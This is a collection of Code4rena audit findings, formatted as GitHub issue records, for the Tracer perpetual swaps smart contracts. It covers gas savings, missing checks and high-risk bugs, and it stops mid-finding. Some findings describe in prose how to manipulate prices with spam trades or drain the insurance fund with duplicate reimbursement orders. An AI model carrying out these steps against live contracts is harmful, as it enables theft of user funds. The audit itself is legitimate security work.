{"title": "Gas savings in getPoolFundingRate()", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/125", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact We can save gas by substituting getPoolTarget() with levNotionalValue/100, since tracer.leveragedNotionalValue() is already saved in memory. ## Proof of Concept https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/Insurance.sol#L216 ## Tools Used Manual analysis. ## Recommended Mitigation Steps Substitute getPoolTarget() with levNotionalValue/100. "}, {"title": "State variable not used", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/122", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact State variable perpsFactory is not used in the Insurance contract. ## Proof of Concept https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/Insurance.sol#L18 ## Tools Used Manual analysis ## Recommended Mitigation Steps Just delete it. "}, {"title": "Superfluous verifySignature function", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/121", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact In the trader contract isValidSignature(...) and verifySignature(...) serve the same purpose. Suggested keep only one for code clarity. ## Proof of Concept https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/Trader.sol#L206 https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/Trader.sol#L231 ## Tools Used Manual analysys ## Recommended Mitigation Steps Suggested keep only one function for code clarity. "}, {"title": "Use EIP-1167 in order to deploy new perpetual swap contracts", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/120", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle a_delamo # Vulnerability details ## Impact For every new TracerPerpetualSwaps contract, we need to deploy a new Liquidation, Insurance, and Pricing contract. All these deployments are really gas-intensive, so it would be recommended to use EIP-1167: Minimal Proxy Contract to reduce the gas cost of the deployments. ```solidity function _deployTracer( bytes calldata _data, address tracerOwner, address oracle, address fastGasOracle, uint256 maxLiquidationSlippage ) internal returns (address) { // Create and link tracer to factory address market = IPerpsDeployer(perpsDeployer).deploy(_data); ITracerPerpetualSwaps tracer = ITracerPerpetualSwaps(market); validTracers[market] = true; tracersByIndex[tracerCounter] = market; tracerCounter++; // Instantiate Insurance contract for tracer address insurance = IInsuranceDeployer(insuranceDeployer).deploy(market); address pricing = IPricingDeployer(pricingDeployer).deploy(market, insurance, oracle); address liquidation = ILiquidationDeployer(liquidationDeployer).deploy( pricing, market, insurance, fastGasOracle, maxLiquidationSlippage ); // Perform admin operations on the tracer to finalise linking tracer.setInsuranceContract(insurance); tracer.setPricingContract(pricing); tracer.setLiquidationContract(liquidation); // Ownership either to the deployer or the DAO tracer.transferOwnership(tracerOwner); ILiquidation(liquidation).transferOwnership(tracerOwner); emit TracerDeployed(tracer.marketId(), address(tracer)); return market; } ``` More info: https://blog.openzeppelin.com/deep-dive-into-the-minimal-proxy-contract/ https://eips.ethereum.org/EIPS/eip-1167 "}, {"title": "Wrong trading pricing calculations", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/119", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact In the Pricing contract, an agent can manipulate the trading prices by spamming an high amount of trades. Indeed an agent can create an high amount of orders at an arbitrary price and with a near-zero amount (so the agent doesn't even need large funds); next he/she pairs the orders with another account and calls Trader.executeTrade; now every order calls a Pricing.recordTrade using the arbitrary price set by the agent. Since the trades are all made in the same hour, by the way hourlyTracerPrices[currentHour] is calculated, it skews the average price towards the price set by the agent. This arbitrary value is used to calculate the fundingRates and the fairPrice, letting a malicious agent get the ability to manipulate the market. ## Proof of Concept https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/Pricing.sol#L129 ## Tools Used Manual analysis ## Recommended Mitigation Steps Pass the fillAmount parameter to recordTrade(...), and calculate hourlyTracerPrices[currentHour].trades summing fillAmount instead of 1 every trade. "}, {"title": "Unnecessary type conversions", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/118", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle tensors # Vulnerability details ## Impact Superfluous type conversions. ## Proof of Concept https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/lib/LibBalances.sol#L229-L230 The type conversion here is not necessary. ## Recommended Mitigation Steps Remove the type conversion. "}, {"title": "Missing checks for lowestMaxLeverage < maxLeverage and insurancePoolSwitchStage < deleveragingCliff", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/117", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact The contract TracerPerpetualSwaps introduces these four state variables (lowestMaxLeverage, maxLeverage, insurancePoolSwitchStage and deleveragingCliff) and four respective set functions. Logically the following relations are needed: lowestMaxLeverage < maxLeverage and insurancePoolSwitchStage < deleveragingCliff, but the code doesn't check for them. Non-critical because needs an error by the owner. ## Proof of Concept https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/TracerPerpetualSwaps.sol#L552 Also lines L560, L564, L568 ## Tools Used Manual analysis ## Recommended Mitigation Steps Add appropriate requires to the set functions and the constructor. "}, {"title": "Underflow problems occurring when a token has >18 decimals", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/116", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle tensors # Vulnerability details ## Impact The contracts assume that all tokens will have <=18 decimals. If the Tracer team are the only people deploying the contracts, and they keep this in mind, this isn't a problem. If the contracts are to be deployed by other people, this assumption should be made explicit and hard-coded. ## Proof of Concept https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/lib/LibBalances.sol#L220-L232 We can see that the scaler computations will underflow and be defined when it should not be. ## Recommended Mitigation Steps Write a require check that ensures tokenDecimals <= 18 before running the above functions. "}, {"title": "No check transferFrom() return value", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/115", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle s1m0 # Vulnerability details ## Impact The smart contract doesn't check the return value of token.transfer() and token.transferFrom(), some erc20 token might not revert in case of error but return false. In the [TracerPerpetualSwaps:deposit](https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/TracerPerpetualSwaps.sol#L151) and [Insurance:deposit](https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/Insurance.sol#L51) this would allow a user to deposit for free. Other places: [TracerPerpetualSwaps: withdraw](https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/TracerPerpetualSwaps.sol#L203) [TracerPerpetualSwaps:withdrawFees](https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/TracerPerpetualSwaps.sol#L514) [SafetyWithdraw:withdrawERC20Token](https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/lib/SafetyWithdraw.sol#L13) [Insurance:withdraw](https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/Insurance.sol#L97) ## Recommended Mitigation Steps Wrap the call into a require() or use openzeppelin's [SafeERC20](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/utils/SafeERC20.sol) library. "}, {"title": "inclusive check that account is not above minimum margin", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/109", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Here the check currentMargin < Balances.minimumMargin should be inclusive <= to indicate the account is not above minimum margin: require( currentMargin <= 0 || uint256(currentMargin) < Balances.minimumMargin(pos, price, gasCost, tracer.trueMaxLeverage()), \"LIQ: Account above margin\" ); ## Recommended Mitigation Steps uint256(currentMargin) <= Balances.minimumMargin ... "}, {"title": "amountToReturn > receipt.escrowedAmount could be inclusive", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/108", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Could save some gas here when amountToReturn = receipt.escrowedAmount: if (amountToReturn > receipt.escrowedAmount) { liquidationReceipts[receiptId].escrowedAmount = 0; } else { liquidationReceipts[receiptId].escrowedAmount = receipt.escrowedAmount - amountToReturn; } ## Recommended Mitigation Steps if (amountToReturn >= receipt.escrowedAmount) { ... "}, {"title": "Wrong funding index in settle when no base?", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/106", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle cmichel # Vulnerability details The `TracerPerpetualSwaps.settle` function updates the user's last index to `currentGlobalFundingIndex`, however a comment states: > \"// Note: global rates reference the last fully established rate (hence the -1), and not the current global rate. User rates reference the last saved user rate\" The code for the `else` branch also updates the last index to `currentGlobalFundingIndex - 1` instead of `currentGlobalFundingIndex`. ```solidity if (accountBalance.position.base == 0) { // set to the last fully established index // @audit shouldn't this be global - 1 like below? accountBalance.lastUpdatedIndex = currentGlobalFundingIndex; accountBalance.lastUpdatedGasPrice = IOracle(gasPriceOracle).latestAnswer(); } ``` ## Impact It might be possible that first-time depositors skip having to pay the first funding rate period as the `accountLastUpdatedIndex + 1 < currentGlobalFundingIndex` check will still return `false` when the funding rates are updated the next time. ## Recommended Mitigation Steps Check if setting it to `currentGlobalFundingIndex` or to `currentGlobalFundingIndex - 1` is correct. "}, {"title": "Insurance slippage reimbursement can be used to steal insurance fund", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/105", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle cmichel # Vulnerability details The `Liquidation` contract allows the liquidator to submit \"bad\" trade orders and the insurance reimburses them from the insurance fund, see `Liquidation.claimReceipt`. The function can be called with an `orders` array which does not check for duplicate orders. An attacker can abuse this to make a profit by liquidating themselves, making a small bad trade and repeatedly submitting this bad trade for slippage reimbursement. Example: - Attacker uses two accounts, one as the liquidator and one as the liquidatee. - They run some high-leverage trades such that the liquidatee gets liquidated with the next price update. (If not cash out and make a profit this way through trading, and try again.) - Liquidator liquidates liquidatee - They now do two trades: - One \"good\" trade at the market price that fills 99% of the liquidation amount. The slippage protection should not kick in for this trade - One \"bad\" trade at a horrible market price that fills only 1% of the liquidation amount. This way the slippage protection kicks in for this trade - The liquidator now calls `claimReceipt(orders)` where `orders` is an array that contains many duplicates of the \"bad\" trade, for example 100 times. The `calcUnitsSold` function will return `unitsSold = receipt.amountLiquidated` and a bad `avgPrice`. They are now reimbursed the price difference on the full liquidation amount (instead of only on 1% of it) making an overall profit This can be repeated until the insurance fund is drained. ## Impact The attacker has an incentive to do this attack as it's profitable and the insurance fund will be completely drained. ## Recommended Mitigation Steps Disallow duplicate orders in the `orders` argument of `claimReceipt`. This should make the attack at least unprofitable, but it could still be a griefing attack. A quick way to ensure that `orders` does not contain duplicates is by having liquidators submit the orders in a sorted way (by order ID) and then checking in the `calcUnitsSold` `for` loop that the current order ID is strictly greater than the previous one. "}, {"title": "Deflationary tokens are not supported", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/104", "labels": ["bug", "1 (Low Risk)", "sponsor dispute", "disagree with severity"], "target": "2021-06-tracer-findings", "body": "Deflationary tokens are not supported"}, {"title": "Can set values to more than 100%", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/102", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle cmichel # Vulnerability details There are several setter functions that do not check if the amount is less than 100%. - `TracerPerpetualSwaps`: `setFeeRate`, `setDeleveragingCliff`, `setInsurancePoolSwitchStage` - `Insurance`: `setFeeRate`, `setDeleveragingCliff`, `setInsurancePoolSwitchStage` ## Impact Setting values to more than 100% might lead to unintended functionality. ## Recommended Mitigation Steps Ensure that the parameters are less than 100%. "}, {"title": "Trader orders can be frontrun and users can be denied from trading", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/100", "labels": ["bug", "2 (Med Risk)"], "target": "2021-06-tracer-findings", "body": "Trader orders can be frontrun and users can be denied from trading"}, {"title": "Wrong token approval", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/99", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-06-tracer-findings", "body": "# Handle cmichel # Vulnerability details The pool holdings of `Insurance` (`publicCollateralAmount` and `bufferCollateralAmount`) is in WAD (18 decimals) but it's used as a raw token value in `drainPool` ```solidity // amount is a mix of pool holdings, i.e., 18 decimals // this requires amount to be in RAW! if tracerMarginToken has > 18 decimals, it'll break, < 18 decimals will approve too much tracerMarginToken.approve(address(tracer), amount); // this requires amount to be in WAD which is correct tracer.deposit(amount); ``` ## Impact If `tracerMarginToken` has less than 18 decimals, the approval approves orders of magnitude more tokens than required for the `deposit` call that follows. If `tracerMarginToken` has more than 18 decimals, the `deposit` that follows would fail as fewer tokens were approved, but the protocol seems to disallow tokens in general with more than 18 decimals. ## Recommended Mitigation Steps Convert the `amount` to a \"raw token value\" and approve this one instead. "}, {"title": "Wrong price scale for `GasOracle`", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/93", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-06-tracer-findings", "body": "# Handle cmichel # Vulnerability details The `GasOracle` uses two chainlink oracles (GAS in ETH with some decimals, USD per ETH with some decimals) and multiplies their raw return values to get the gas price in USD. However, the scaling depends on the underlying decimals of the two oracles and could be anything. But the code assumes it's in 18 decimals. > \"Returned value is USD/Gas * 10^18 for compatibility with rest of calculations\" There is a `toWad` function that seems to involve scaling but it is never used. ## Impact** If the scale is wrong, the gas price can be heavily inflated or under-reported. ## Recommended Mitigation Steps Check `chainlink.decimals()` to know the decimals of the oracle answers and scale the answers to 18 decimals such that no matter the decimals of the underlying oracles, the `latestAnswer` function always returns the answer in 18 decimals. "}, {"title": "LibMath sumN can iterate over array", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/89", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle cmichel # Vulnerability details When `LibMath.sumN` function does not check if `n <= arr.length` and can therefore fail if called with `n > arr.length`. ## Impact The caller must always check that it's called with an argument that is less than `n` which is inconvenient. ## Recommendation Change the condition to iterate up to `min(n, arr.length)`. "}, {"title": "LibMath fails implicitly", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/88", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle cmichel # Vulnerability details When `LibMath.abs` is called with -2^255 (`type(int256).min`), it tries to multiply it by `-1` but it'll fail as it exceeds the max signed 256-bit integers. ## Impact The function will fail with an implicit error that might be hard to locate. ## Recommendation Throw an error similar to `toInt256` like `int256 overflow`. "}, {"title": "hardcoded chainId", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/85", "labels": ["bug", "1 (Low Risk)"], "target": "2021-06-tracer-findings", "body": "hardcoded chainId"}, {"title": "Potential division by zero\u2028", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/83", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact In function minimumMargin(), maximumLeverage being zero is not handled because it will result in div by zero as PRBMathUD60x18.div expects non-zero divisor. Impact: Various critical market functions will revert if maximumLeverage is zero. ## Proof of Concept https://github.com/hifi-finance/prb-math/blob/c4dea7d0e6ae246fbb631f7fb4be4072d1da9a07/contracts/PRBMathUD60x18.sol#L71-L77 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/lib/LibBalances.sol#L118 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/lib/LibBalances.sol#L135 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/TracerPerpetualSwaps.sol#L186 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/TracerPerpetualSwaps.sol#L242 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/TracerPerpetualSwaps.sol#L248 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add checks to make sure maximumLeverage is never zero or handle appropriately. "}, {"title": "Malicious owner can drain the market at any time using SafetyWithdraw\u2028", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/81", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-06-tracer-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The withdrawERC20Token() in SafetyWithdraw inherited in TracerPerpetualSwaps is presumably a guarded launch emergency withdrawal mechanism. However, given the trust model where the market creator/owner is potentially untrusted/malicious, this is a dangerous approach to emergency withdrawal in the context of guarded launch. Alternatively, if this is meant for the owner to withdraw \u201cexternal\u201d ERC20 tokens mistakenly deposited to the Tracer market then the function should exclude tracerQuoteToken from being the tokenAddress that can be used as a parameter to withdrawERC20Token(). Impact: Malicious owner of a market withdraws/rugs all tracerQuoteTokens deposited at any time after market launch. All users lose deposits. Protocol takes a reputational hit and has to refund the users from treasury. ## Proof of Concept https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/lib/SafetyWithdraw.sol#L8-L14 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/TracerPerpetualSwaps.sol#L20 ## Tools Used Manual Analysis ## Recommended Mitigation Steps For a guarded launch circuit breaker, design a pause/unpause feature where deposits are paused (in emergency situations) but withdrawals are allowed by the depositors themselves instead of the owner. Alternatively, if this is meant to be for removing external ERC20 tokens accidentally deposited to market, exclude the tracerQuoteToken from being given as the tokenAddress. "}, {"title": "Missing length check on array could lead to undefined behavior", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/79", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "disagree with severity"], "target": "2021-06-tracer-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The sumN() library function expects to calculate the sum of n elements of the supplied array but there is no check to see if the array indeed has n elements. A smaller array could lead to reading out of bounds memory resulting in undefined values. Impact: The current usage of the library does not indicate an out of bounds access but any new code using this library could be impacted. ## Proof of Concept https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/lib/LibMath.sol#L38-L46 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/lib/LibMath.sol#L68 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/lib/LibPrices.sol#L73 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add require(n <= arr.length) at the beginning of sumN() to be safe. "}, {"title": "setDecimals can be set by anyone and not used", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/78", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "disagree with severity"], "target": "2021-06-tracer-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The setDecimals() in the sample Gas Price Oracle implementation allows anyone to set the decimals value used by the contract but is not used anywhere. Impact: It is unclear if this should be set by anyone and if that value should be used in determining the precision of the values returned. ## Proof of Concept https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/oracle/GasOracle.sol#L64-L66 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Evaluate if this access and missing logic is correct. "}, {"title": "Using tx.gasprice to prevent front-running may lead to failed liquidations", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/76", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-06-tracer-findings", "body": "Using tx.gasprice to prevent front-running may lead to failed liquidations"}, {"title": "Close-ended time ranges may confuse users/interfaces", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/75", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "disagree with severity"], "target": "2021-06-tracer-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Time ranges are typically open-ended which includes the start & end times, and not close-ended. So the releaseTime would be interpreted as the time it would be released i.e. block.timestamp >= releaseTime would be the expected check here instead of \u2018>\u2019. Similarly, on L406, it should be \u2018<=\u2018 instead of \u2018<\u2018. Impact: Claims of escrow and receipts are expected to succeed in a particular block but they revert and have to wait until the next block. ## Proof of Concept https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/Liquidation.sol#L112 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/Liquidation.sol#L406 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Unless justified, change the strict inequality and make it \u2018>=\u2018 and \u2018<=\u2018 to convert open ranges to closed ranges for block.timestamp comparisons. "}, {"title": "Use of incorrect index leads to incorrect updation of funding rates", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/74", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The updateFundingRate() function updates the funding rate and insurance funding rate. While the instant/new funding rates are calculated correctly, the cumulative funding rate calculation is incorrect because it is always adding the instant to 0, not the previous value. This is due to the use of [currentFundingIndex] which has been updated since the previous call to this function while it should really be using [currentFundingIndex-1] to reference the previous funding rate. Impact: The cumulative funding rate and insurance funding rates are calculated incorrectly without considering the correct previous values. This affects the settling of accounts across the entire protocol. The protocol logic is significantly impacted, accounts will not be settled as expected, protocol shutdown and contracts will need to be redeployed. Users may lose funds and protocol takes a reputation hit. ## Proof of Concept https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/Pricing.sol#L155-L160 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/Pricing.sol#L168 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/Pricing.sol#L77 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/Pricing.sol#L196-L215 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/Pricing.sol#L221-L230 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/TracerPerpetualSwaps.sol#L445-L446 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Use [currentFundingIndex-1] for non-zero values of currentFundingIndex to get the value updated in the previous call on lines L155 and L159 of Pricing.sol. "}, {"title": "Use of deprecated Chainlink API\u2028", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/73", "labels": ["bug", "2 (Med Risk)"], "target": "2021-06-tracer-findings", "body": "Use of deprecated Chainlink API\u2028"}, {"title": "Lack of a contract existence check may lead to undefined behavior", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/71", "labels": ["bug", "1 (Low Risk)"], "target": "2021-06-tracer-findings", "body": "Lack of a contract existence check may lead to undefined behavior"}, {"title": "Missing replay protection against previously executed orders\u2028", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/70", "labels": ["bug", "invalid", "sponsor dispute"], "target": "2021-06-tracer-findings", "body": "Missing replay protection against previously executed orders\u2028"}, {"title": "Potential Out-of-Gas exception due to unbounded loop", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/69", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Trading function executeTrade() batch executes maker/taker orders against a market. The trader/interface provides arrays of makers/takers which is unbounded. As a result, if the number of orders is too many, there is a risk of this transaction exceeding the block gas limit (which is 15 million currently). Impact: executeTrade() is called with too many orders in the batch. Tx exceeds block gas limit and reverts. None of the orders are executed. ## Proof of Concept See similar Medium-severity finding from ConsenSys's Audit of Growth DeFi: https://consensys.net/diligence/audits/2020/12/growth-defi-v1/#potential-resource-exhaustion-by-external-calls-performed-within-an-unbounded-loop https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/Trader.sol#L67 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/Trader.sol#L78 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Limit the number or orders executed based on gasleft() after every iteration or estimate the gas cost and enforce an upper bound on the number of orders allowed in maker/taker arrays. "}, {"title": "Malicious owner can arbitrarily change fee to any % value\u2028", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/66", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Tracer protocol like any other allows market creators to charge fees for trades. However, a malicious/greedy owner can arbitrarily change fee to any % value and without an event to observe this change or a timelock to react, there is no easy way for users to monitor this via front-end or off-chain monitoring tools. Impact: Users trade on a market with 0.1% fees. The owner suddenly changes this to 100%. Users realise this only after their trades are executed. Market loses confidence. Protocol takes a reputational hit. ## Proof of Concept See similar Medium-severity finding in ConsenSys's Audit of 1inch Liquidity Protocol (https://consensys.net/diligence/audits/2020/12/1inch-liquidity-protocol/#unpredictable-behavior-for-users-due-to-admin-front-running-or-general-bad-timing https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/TracerPerpetualSwaps.sol#L548-L550 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/lib/LibBalances.sol#L198-L214 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Emit event, provide time lock for users to react and establish an upper threshold for fees that is decided across markets by governance. "}, {"title": "Missing events for critical parameter changing operations by owner", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/64", "labels": ["bug", "2 (Med Risk)"], "target": "2021-06-tracer-findings", "body": "Missing events for critical parameter changing operations by owner"}, {"title": "Event log poisoning/griefing in withdrawFees()\u2028", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/63", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "disagree with severity"], "target": "2021-06-tracer-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact withdrawFees() is an external function which can be called by anyone to transfer the accumulated fees to the feeReceiver account. However, there is no data validation to check if fees are non-zero. Impact: One can keep calling withdrawFees(), even if the fees is zero, to grief the system with 0 amount transfers and emission of events recording the same. This leads to what is known as event log poisoning where malicious external users spam the Tracer contract to generate arbitrary FeeWithdrawn events. ## Proof of Concept See similar Finding from Sigma Prime\u2019s audit of Synthetix Unipool: https://github.com/sigp/public-audits/blob/master/synthetix/unipool/review.pdf https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/TracerPerpetualSwaps.sol#L508-L516 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Consider adding a require or if statement preventing the withdrawFees() function from emitting the event when the amount variable is zero, i.e. check if fees != 0 before transfer+emit. "}, {"title": "function which can declared as external ", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/62", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact public function which are not called within contract should be declared as external to save gas ## Proof of Concept https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/TracerPerpetualSwaps.sol#L572 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/Liquidation.sol#L470 https://github.com/code-423n4/2021-06-tracer/blob/74e720ee100fd027c592ea44f272231ad4dfa2ab/src/contracts/InsurancePoolToken.sol#L14 ## Tools Used manual review ## Recommended Mitigation Steps Declare public function as external which are not called in the contract "}, {"title": "Dangerous use of storage data location specifier", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/61", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "disagree with severity"], "target": "2021-06-tracer-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Reference type local variables require an explicit data location specified indicating if they need to be in storage or memory. Assigning state variables to storage local variables creates a reference (instead of a copy) to the state variable and modifications to the local variable will be reflected in the state variable. This is required if the intention is to make updates to state variables. Unnecessarily using storage specifiers may lead to unintentional updates of state variables and has led to vulnerabilities. In L457 of settle(), a local variable insuranceBalance is created in storage to point to balances[address(insuranceContract)] but is never updated. Instead balances[address(insuranceContract)] itself is updated on L474. Impact: While there is no immediate impact, any modifications to the code with insuranceBalance will be dangerous because it will update the critical state variable balances[address(insuranceContract)]. It is safer to use a memory specifier for insuranceBalance. ## Proof of Concept 